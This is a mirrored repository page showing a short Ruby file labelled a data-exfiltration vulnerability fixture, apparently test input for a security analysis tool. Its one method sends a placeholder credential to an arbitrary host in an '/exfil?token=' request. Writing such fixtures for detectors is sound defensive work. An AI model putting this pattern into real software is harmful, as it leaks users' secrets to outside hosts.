mirror of
https://github.com/elicpeter/nyx.git
synced 2026-06-09 19:45:13 +02:00
9 lines
207 B
Ruby
9 lines
207 B
Ruby
# Phase 11 (Track J.9) — Ruby DATA_EXFIL vuln fixture.
|
|
require 'net/http'
|
|
require 'uri'
|
|
|
|
def run(host)
|
|
secret = "alice-creds"
|
|
uri = URI("http://#{host}/exfil?token=#{secret}")
|
|
Net::HTTP.get(uri)
|
|
end
|